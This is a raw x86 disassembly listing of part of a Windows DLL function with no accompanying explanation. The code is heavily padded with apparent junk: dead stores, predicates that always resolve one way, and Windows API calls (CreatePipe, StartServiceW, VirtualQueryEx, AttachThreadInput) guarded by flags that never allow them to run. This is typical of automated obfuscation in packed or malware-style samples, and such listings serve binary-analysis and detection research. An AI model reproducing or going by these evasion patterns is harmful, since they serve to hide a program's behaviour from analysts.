mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003478a
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1b8]
call fcn.1001b8b2
mov dword [eax], 0xe582b275
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003476c
xor eax, eax
mov dword [ebp - 0x2c], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 5
jl 0x1003475d
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffe5
jg 0x10034758
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x100347b1
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [ebp - 0x90]
call fcn.1001b8ad
or ebx, 0xffffffff
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 4], ebx
call fcn.1001b8ad
mov eax, dword [ebp - 0x34]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
xor ecx, ecx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
cmp eax, ebx
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp ecx, 0xfffffff6
setge dl
sub eax, edx
cmp eax, edi
jg 0x10034807
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, ebx
push 2
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
lea ecx, [ebp - 0xcc]
setg dl
add edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x34]
imul edx, dword [ebp - 0x34]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x30], 0xfffffffb
call fcn.1001b841
mov dword [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x2c], 0xecf93a29
mov ecx, 0xffff
mov dword [ebp - 0x2c], 8
xor ebx, ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1003488e
push dword [ebp - 0x18]
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x18]
jmp 0x10034873
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, edi
push 0xfffffffffffffff6
setg cl
pop eax
sub eax, ecx
add eax, dword [ebp - 0x30]
jne 0x100348ab
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
push edi
call fcn.1001b8b2
mov ecx, dword [ebp - 0x30]
mov dword [eax], esi
mov eax, dword [ebp - 0x30]
add eax, esi
add ecx, eax
neg ecx
je 0x100348e1
push edi
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
cmp dword [eax], ebx
je 0x100348e1
xor ebx, ebx
inc ebx
mov ecx, ebx
jmp 0x100348e8
xor eax, eax
xor ebx, ebx
mov ecx, eax
inc ebx
mov eax, dword [ebp - 0x30]
sub ecx, eax
mov eax, 0xcba2afe0
cmp eax, ecx
mov ecx, dword [ebp - 0x30]
sbb eax, eax
inc eax
imul ecx, eax
xor eax, eax
test ecx, ecx
je 0x10034992
mov dword [ebp - 0x30], eax
jmp 0x10034931
push dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
mov esi, eax
call fcn.1001b8b2
mov ecx, dword [esi]
mov dword [eax], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x1003490c
push 2
pop edi
or esi, 0xffffffff
lea ecx, [ebp - 0xcc]
mov dword [ebp - 4], esi
call fcn.1001b8ad
mov dword [ebp - 0x1c], 0xffffffe5
cmp dword [ebp - 0x1c], edi
jg 0x100353ea
mov edi, 0xa026
xor eax, eax
mov dword [ebp - 0x3c], 0x68ec0ae9
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1003498a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6c4], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10034971
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x10034c5b
mov dword [ebp - 0x20], 0xfffffff8
lea ecx, [ebp - 0xe90]
mov dword [ebp - 0x2c], ebx
or esi, 0xffffffff
push 2
mov dword [ebp - 0x48], 0x466df464
mov dword [ebp - 0x24], eax
pop edi
mov dword [ebp - 0x2c], 0x156ac6de
mov dword [ebp - 0x2c], esi
push edi
call fcn.1001b841
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100349ee
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe90]
call fcn.1001b8b2
mov dword [eax], 0xdb26f1a7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100349d0
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10034a07
push 0x172c
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jg 0x10034c12
jmp 0x10034a17
xor eax, eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x4c], 0x7f2e4e98
mov dword [ebp - 0x4c], 0xfffffff7
mov dword [ebp - 0x4c], 0xcae1fad0
mov dword [ebp - 0x4c], 0xf3c4fb36
mov dword [ebp - 0x4c], 0xd67785dc
mov dword [ebp - 0x4c], 0xadb5619a
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x18], eax
jmp 0x10034a67
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc64], 0x1844c383
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10034a56
push dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x10034bb8
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xcc]
push ebx
call fcn.1001b8b2
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
push dword [ebp - 0x30]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xcc]
push dword [ebp - 0x30]
call fcn.1001b8b2
push ebx
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
push ebx
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0xcc]
push ebx
call fcn.1001b8b2
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10034b0c
push dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x10034b0c
xor eax, eax
jmp 0x10034b0e
mov eax, ebx
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xcc]
mov eax, dword [ebp - 0x2c]
push ebx
call fcn.1001b8b2
lea ecx, [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
xor eax, eax
push eax
call fcn.1001b8b2
xor ecx, ecx
cmp dword [eax], 0xfffffffb
sete cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0xcc]
push dword [ebp - 0x30]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x2c]
mov esi, eax
push 3
pop eax
cmp eax, ecx
mov ecx, dword [ebp - 0x20]
sbb edx, edx
xor eax, eax
inc edx
cmp edx, ecx
setl al
sub eax, dword [ebp - 0x40]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, dword [esi]
mov eax, dword [ebp - 0x48]
setg dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x40]
cmp edx, eax
setge cl
sub ecx, 5
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, dword [ebp - 0x40]
jne 0x10034b9a
mov ecx, ebx
cmp dword [ebp - 0x24], eax
jne 0x10034b9c
mov ecx, eax
xor eax, eax
test ecx, ecx
setne al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x2c]
jne 0x10034bb8
mov esi, eax
jmp 0x10034bba
mov esi, ebx
push dword [ebp - 0x30]
lea ecx, [ebp - 0xcc]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp esi, ecx
mov ecx, 0xaef40462
setle dl
cmp ecx, edx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp dword [eax], ecx
lea ecx, [ebp - 0xcc]
setg bl
xor eax, eax
inc eax
push eax
call fcn.1001b8b2
push 0xffffffffffffffff
pop esi
sub ebx, dword [eax]
mov dword [ebp - 0x2c], ebx
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
inc ebx
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x44]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10034a15
lea ecx, [ebp - 0xe90]
call fcn.1001b8ad
jmp 0x10034939
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x18], eax
jmp 0x10034c52
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x2c], ebx
dec dword [ebp - 0x2c]
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10034c4f
push eax
push 0xb14
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xb
jne 0x10034c2e
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xb
jl 0x10034c22
mov eax, dword [ebp - 0x3c]
mov ecx, 0xcd76
mov eax, dword [ebp - 0x3c]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x6c4]
cmp eax, ecx
setge dl
cmp edx, dword [ebp - 0x6c0]
jg 0x10034c8a
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10034c8c
mov eax, ebx
movdqa xmm0, xmmword [0x1000ca10]
lea ecx, [ebp - 0x13e0]
mov dword [ebp - 0x6c0], eax
xor eax, eax
mov byte [ebp - 0xd], al
lea eax, [ebp - 0xf18]
push eax
mov dword [ebp - 0x30], 0x8708ef6b
lea eax, [ebp - 0xf28]
mov dword [ebp - 0x28], 0xd2668451
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], 0x9949
push eax
movdqu xmmword [ebp - 0xf28], xmm0
call fcn.1001b8c1
lea ecx, [ebp - 0x1da]
mov esi, eax
call fcn.1000db63
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x11f4]
push dword [esi]
call fcn.1001b883
mov edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
imul eax, dword [ebp - 0x30], 0xff63
xor ecx, ecx
neg edx
cmp eax, ebx
setl cl
sub ecx, dword [ebp - 0x30]
imul ecx, dword [ebp - 0x30]
test ecx, ecx
jne 0x10034d1f
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10034d21
mov eax, ebx
mov dword [ebp - 0x28], eax
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0xf34f
setne al
or esi, 0xffffffff
imul eax, eax, 0xfffc
mov dword [ebp - 0x30], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10034e20
push 3
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10034d78
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1420], 0xde6b786a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10034d67
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x3c], 0x9909d073
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp eax, 0xba1d
setl cl
cmp ecx, edx
jge 0x10034dbd
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10034dbf
mov eax, ebx
xor ecx, ecx
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0x20]
setne cl
sub eax, ecx
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10034e02
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], eax
jl 0x10034f3c
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10034df8
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10034de6
jmp 0x10034f3c
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10034f3c
push 0x11a8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x10034f3c
mov dword [ebp - 0x35c], edi
xor edx, edx
mov dword [ebp - 0x358], edi
mov dword [ebp - 0x354], edi
mov dword [ebp - 0x350], edi
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x35c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x354]
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xe177
mov eax, dword [ebp - 0x35c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0x28ec7dff
je 0x10034e8c
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x10034e8e
mov ecx, ebx
mov eax, dword [ebp - 0x3c]
neg ecx
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp dword [ebp - 0x35c], ecx
jne 0x10034eab
cmp dword [ebp - 0x3c], eax
je 0x10034eab
mov eax, ebx
cmp eax, dword [ebp - 0x35c]
jl 0x10034edc
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10034ecb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe14], 0x50c16569
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10034eba
mov eax, dword [ebp - 0xe14]
mov dword [ebp - 0x20], eax
jmp 0x10034ef2
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10034ef2
push eax
push 0xb3e
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x98d6
mov eax, dword [ebp - 0x358]
setne cl
sub eax, ecx
cmp esi, eax
mov eax, dword [ebp - 0x358]
sbb edx, edx
add edx, 8
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x54]
setge cl
xor edx, edx
cmp ecx, 0xb15e
setge dl
imul eax, edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x11f4]
mov dword [ebp - 0x3c], eax
call fcn.1001b8ad
cmp byte [ebp - 0xd], 0
je 0x1003508f
mov dword [ebp - 0x38], 0xd29be1d9
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10034f85
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x660], 0x8261
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10034f6c
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jg 0x1003506c
push ebx
lea ecx, [ebp - 0x338]
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], 7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10034fcc
push dword [ebp - 0x18]
lea ecx, [ebp - 0x338]
call fcn.1001b8b2
mov dword [eax], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10034fae
xor eax, eax
push eax
lea ecx, [ebp - 0x338]
call fcn.1001b8b2
lea ecx, [ebp - 0x338]
and dword [eax], 0
xor eax, eax
push eax
call fcn.1001b8b2
cmp dword [eax], ebx
jg 0x10035050
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x338]
mov eax, dword [ebp + eax*4 - 0x660]
xor eax, eax
push eax
call fcn.1001b8b2
mov esi, eax
lea ecx, [ebp - 0x338]
xor eax, eax
push eax
call fcn.1001b8b2
mov ecx, dword [esi]
mov ecx, dword [ebp + ecx*4 - 0x660]
mov eax, dword [eax]
imul ecx, dword [ebp + eax*4 - 0x660]
xor eax, eax
push eax
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x338]
call fcn.1001b8b2
lea ecx, [ebp - 0x338]
inc dword [eax]
xor eax, eax
push eax
call fcn.1001b8b2
cmp dword [eax], ebx
jle 0x10034fed
or esi, 0xffffffff
lea ecx, [ebp - 0x338]
mov dword [ebp - 4], esi
call fcn.1001b8ad
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10034f91
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10035085
push 0x1c47
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
mov dword [ebp - 0x18], 0xf6af1124
mov dword [ebp - 0x18], 6
cmp dword [ebp - 0x18], 0xffffffef
jle 0x100350d8
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100350bd
push 0x18bc
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100350cf
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
jg 0x100350a5
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x19
jne 0x100353da
jmp 0x100350eb
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
jmp 0x10035104
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xca8], 0x40874b28
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100350f3
mov dword [ebp - 0x14], esi
jmp 0x10035173
mov dword [ebp - 0x2c], 0xfff7
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x14], 0xef7d6512
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, 0x29d06
setl cl
sub ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0xca4], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10035170
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jne 0x1003510f
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x100353be
push 4
pop esi
push esi
lea ecx, [ebp - 0x678]
call fcn.1001b841
mov dword [ebp - 4], 8
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100351c8
mov ebx, 0xffff
push dword [ebp - 0x14]
lea ecx, [ebp - 0x678]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100351ab
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100351e8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3ac], 0x32fe2236
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100351d0
xor eax, eax
push 3
pop esi
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], esi
jg 0x1003526c
jmp 0x100351fd
xor eax, eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x678]
push dword [ebp - 0x3a4]
call fcn.1001b8b2
xor ebx, ebx
cmp dword [eax], ebx
je 0x1003521f
xor eax, eax
inc eax
mov dword [ebp - 0x38], eax
jmp 0x10035229
mov dword [ebp - 0x2c], 0x3fe5
dec dword [ebp - 0x2c]
push dword [ebp - 0x3a4]
lea ecx, [ebp - 0x678]
call fcn.1001b8b2
cmp dword [eax], ebx
je 0x1003557d
mov dword [ebp - 0x38], 0xfffffff5
jmp 0x10035255
mov dword [ebp - 0x28], 0xffff7d2b
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffec
jg 0x1003524b
xor ebx, ebx
inc ebx
inc dword [ebp - 0x3a4]
cmp dword [ebp - 0x3a4], esi
jle 0x100351fb
or esi, 0xffffffff
lea ecx, [ebp - 0x678]
mov dword [ebp - 4], esi
call fcn.1001b8ad
movdqa xmm0, xmmword [0x1000ca40]
lea eax, [ebp - 0x1038]
push eax
lea eax, [ebp - 0x1048]
mov dword [ebp - 0x2c], esi
push eax
lea ecx, [ebp - 0x1270]
movdqu xmmword [ebp - 0x1048], xmm0
call fcn.1001b8c1
lea ecx, [ebp - 0x22c]
mov esi, eax
call fcn.1000db63
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x3e0]
push dword [esi]
call fcn.1001b883
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x14], 0x4e7937d8
push 3
mov dword [ebp - 0x38], ebx
pop edi
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x100353a7
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x3e0]
push dword [ebp - 0x14]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x10035302
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3e0]
call fcn.1001b8b2
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3e0]
call fcn.1001b8b2
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3e0]
mov esi, eax
call fcn.1001b8b2
mov ecx, dword [esi]
xor ebx, ebx
push dword [ebp - 0x14]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x3e0]
setle bl
call fcn.1001b8b2
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x3e0]
push dword [ebp - 0x14]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x38]
add ecx, 0x51a93826
mov eax, dword [eax]
add eax, ecx
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], eax
jl 0x1003539b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10035396
xor eax, eax
inc eax
push eax
push 0x1b30
push 0x8fb
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor eax, eax
dec dword [ebp - 0x38]
jns 0x10035377
dec dword [ebp - 0x14]
push 1
pop ebx
jns 0x100352e9
or esi, 0xffffffff
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 4], esi
call fcn.1001b8ad
inc dword [ebp - 0x2c]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1a
jne 0x10035183
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x19
je 0x100350e9
mov edi, 0xa026
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1003495f
push 2
pop edi
push edi
lea ecx, [ebp - 0x950]
call fcn.1001b841
mov dword [ebp - 4], 0xa
mov esi, 0xbeb0647d
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1003542d
push dword [ebp - 0x18]
lea ecx, [ebp - 0x950]
call fcn.1001b8b2
mov dword [eax], 0xca631852
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003540f
xor eax, eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x1003545d
push dword [ebp - 0x18]
lea ecx, [ebp - 0x950]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x1003545d
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10035458
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
dec dword [ebp - 0x18]
jns 0x10035435
or eax, 0xffffffff
lea ecx, [ebp - 0x950]
mov dword [ebp - 4], eax
call fcn.1001b8ad
mov dword [ebp - 0x3c], 0xac12
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x20], 0xf7919adb
mov dword [ebp - 0x2c], 0x1f6f49c2
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1003549d
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], 0xaee5
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ebx
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100354bf
mov eax, ebx
add eax, 0xaf9f7c8b
xor ecx, ecx
cmp eax, 0x32e3
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100354ec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
mov dword [ebp - 0x4c], edi
or ecx, 0xffffffff
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x4c], 0xb457102d
mov dword [ebp - 0x4c], 0x6748f69f
mov dword [ebp - 0x4c], 0x14b733c6
mov dword [ebp - 0x4c], 0x6b6eb6b9
mov dword [ebp - 0x4c], 0xaa29c146
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x4c], 0x182abbf9
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x2c], 0x5a519d81
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10035550
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe28], 0x865b49d5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10035538
xor eax, eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0xe28], 0x4145c174
mov dword [ebp - 0x3c], 0x1824a8c6
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], 0xfa1a8f1
mov dword [ebp - 0x2c], 0xb6b7be2d
mov dword [ebp - 0x3c], eax
jmp 0x100356cc
mov dword [ebp - 0x2c], 0x498d
mov dword [ebp - 0x24], 0xfffffff6
mov dword [ebp - 0x28], 0x1c
cmp dword [ebp - 0x28], 0xfffffffd
jl 0x1003525b
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x20], 0xbed1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x100355c8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x374], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100355b0
xor eax, eax
cmp dword [ebp - 0x3a8], eax
jne 0x100355eb
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x374]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x678]
mov eax, dword [ebp - 0x28]
push dword [ebp - 0x3a4]
call fcn.1001b8b2
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffd
jge 0x1003559f
jmp 0x1003525e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10035635
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1e8], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003561d
